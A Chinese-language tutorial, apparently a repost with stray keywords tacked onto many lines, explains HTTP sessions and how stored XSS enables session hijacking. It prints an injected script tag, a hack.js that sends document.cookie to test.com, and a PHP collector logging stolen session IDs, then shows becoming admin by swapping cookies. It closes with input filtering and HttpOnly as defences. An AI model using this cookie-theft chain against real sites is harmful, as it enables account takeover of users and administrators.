在跨站腳本攻擊XSS中簡單介紹了XSS的原理及一個利用XSS盜取存在cookie中用戶名和密碼的小例子,有些同窗看了後會說這有什麼大不了的,哪裏有人會明文往cookie裏存用戶名和密碼。今天咱們就介紹一種危害更大的XSS——session劫持。javascript
想明白session劫持及其危害,首先要搞清楚什麼是session,熟悉http的同窗知道,http是無狀態的,也就是客戶端向服務器請求完成後,會斷開鏈接,下次同一個客戶端再次訪問服務器的時候,服務器會把它看成一個陌生的請求,不會知道它曾經來過,這裏有它的印記。php
可是這樣的交互是很是麻煩的,某個網站有不少theme,經過一套機制記在服務器中,用戶訪問的時候從數據庫等地方讀取配置,返回給客戶端合適的themeHTML響應。由於http沒有狀態,下次用戶再來的時候又讀取一遍數據庫配置,每一個用戶都要重複這個過程,是否是很麻煩。這時候咱們但願有一個全局的變量存儲空間,用來存放一些全站點都須要的而且不會變來變去(即便變也沒什麼)的數據,這就是Application變量。Application變量是站點的全局變量,只要服務器不宕機,任何用戶在任何頁面在受權的狀況下均可以訪問,進行讀寫操做。這樣一些theme、timezone等信息就能夠在用戶第一次訪問的時候存放在Application內,再次訪問或者其它用戶訪問的時候能夠直接去讀取,方便了不少。html
然而,有時候咱們但願服務器爲咱們每一個單獨的web用戶開闢一起私密空間,好比咱們確定不但願用戶訪問一個頁面就輸一次用戶名、密碼,當用戶第一次登陸成功後能夠把登陸信息存放在服務器,下次來了直接比對就能夠。可是明顯你們不但願本身的用戶名和密碼可以被全部的用戶訪問,因此服務器私密空間是須要的。java
but,因爲http的無狀態性即便服務器上有了每一個用戶的私密空間,但下次用戶訪問的時候,服務器仍然不知道用戶是張3、李四仍是王二麻子。這可怎麼辦,聰明的同窗確定想到了,讓客戶端的請求告訴服務器我是王二麻子就好了。這樣服務器和客戶端就能夠對話了,不至於說了後句就忘了前句。web
問題在於客戶端怎麼告訴服務器我是誰。細心的同窗會注意到cookie是http協議的一部分,會在http請求和http響應中出現,而客戶端和服務器有記憶的會話正是靠cookie實現的。拿登陸作例子,會話過程是這樣的數據庫
登陸json
1. 客戶端發送登陸請求跨域
2. 服務器接收請求,驗證登陸,成功後爲此web用戶開闢一個私密空間,存放登陸信息服務器
3. 服務器爲這個私密空間編號,相似於PHPSESSID=rcmjnke6er5pnvf3qof0lclca7這樣的一個鍵值對,不一樣的語言生成的鍵名和值的規則不一樣,可是都本着兩個原則:第一,value必須惟一,畢竟一個站點可能同時有數百萬甚至更多用戶在訪問,不能讓兩個用戶的表示同樣;第二:生成的value必須是不可推測的,不然別有用心用戶就能夠根據本身的表示信息推斷出別人的,而後僞造別人登陸信息訪問站點(這正是session劫持)。cookie
4. 服務器把這個鍵值對寫入http響應中傳給客戶端
5. 客戶端接收響應,關閉鏈接
登陸成功,用戶訪問其餘頁面
1. 客戶端發送登陸請求(服務器寫到cookie中的用戶標識信息也被髮送)
2. 服務器讀取http請求中的cookie信息,根據標識信息查找對應私密空間,讀取用戶信息
3. 服務器生成特定響應,發送給客戶端
4. 客戶端接收響應,關閉鏈接
這個過程是否是很像是一個會話?這樣第一次來了給個標籤,下次憑此標籤交流的機制就是session,固然session還包含其失效機制等。
服務器生成的用以標識客戶信息的cookie通常被稱爲sessionId,而經過一些手段獲取其它用戶sessionId的攻擊就叫session劫持。
說的這麼恐怖,那麼被別人知道了個人sessionId後會有什麼危險呢?經過上面交互過程能夠看出來服務器是靠sessionId識別客戶端是張3、李四仍是王二麻子的,當其它用戶獲知了你的sessionId後,在其有效期內就能夠憑此sessionId欺騙服務器,獲取你的身份登陸使用網站。
仍是使用跨站腳本攻擊XSS中留言板的XSS漏洞,添加一個登陸成功的首頁,包含留言板頁面連接,管理員有其它權限,登陸失敗返回登陸頁。
home.php
<!DOCTYPE html> <html> <head> <title>Home</title> <?php include('/components/headerinclude.php');?> </head> <body> <a href="list.php">Comments</a> <?php use \entity\authority as au; include 'entity\user.php'; if(isset($_POST['username'])){ $user=new au\User(); $user->username=$_POST['username']; $user->password=md5($_POST['password']); if($user->username=='Byron'){ $user->role='admin'; }else{ $user->role='normal'; } $_SESSION['user']=json_encode($user); } if(!isset($_SESSION['user'])){ echo '<script>'; echo 'window.location.href="index.php"'; echo '</script>'; }else{ $me=json_decode($_SESSION['user']); echo '<br/>Hello '.$me->username.'!<br/>'; if($me->role=='admin'){ echo "Your are an Administrator, you can do anything."; } } ?> </body> </html>
當咱們以管理員身份登陸後界面是這樣的
當沒有管理員權限的惡意用戶登陸並訪問留言板的時候,利用XSS漏洞注入這樣代碼
<script type="text/javascript" src="http://test.com/hack.js"></script>這條語句利用script的src跨域請求壞蛋本身的腳本
var c=document.cookie; var script =document.createElement('script'); script.src='http://test.com/index.php?c='+c; document.body.appendChild(script);
腳本中建立了一個script標籤,利用jsonp連帶這當前用戶的cookie向'http://test.com/index.php發送了http請求
<?php if(!empty($_GET['c'])){ $cookie=$_GET['c']; try{ $path=$_SERVER["DOCUMENT_ROOT"].'/session.txt'; $fp=fopen($path,'a'); flock($fp, LOCK_EX); fwrite($fp, "$cookie\r\n"); flock($fp, LOCK_UN); fclose($fp); }catch(Exception $e){ } } ?>
原來壞蛋經過XSS把sessionId記到了本身磁盤
這樣若是在壞蛋利用XSS注入劫持sessionId的腳本後管理員登陸並訪問留言板頁面,壞蛋就會獲得管理員的sessionId,在其有效期內壞蛋能夠這麼作
1. 利用本身賬號登陸系統,等待管理員訪問被攻擊頁面,獲取其sessionId
好比我獲得管理員sessionId PHPSESSID=93jqhkal21kn6lg68uubvd1s37
2. 經過客戶端修改sessionId
本身登陸界面
修改cookie
3. 刷新頁面,騙過服務器,本身成了管理員
4. 不堪設想。。。
這種session劫持主要靠XSS漏洞和客戶端獲取sessionId完成,一次防範分兩步
1. 過濾用戶輸入,防止XSS漏洞
2. 設置sessionId的cookie爲HttpOnly,使客戶端沒法獲取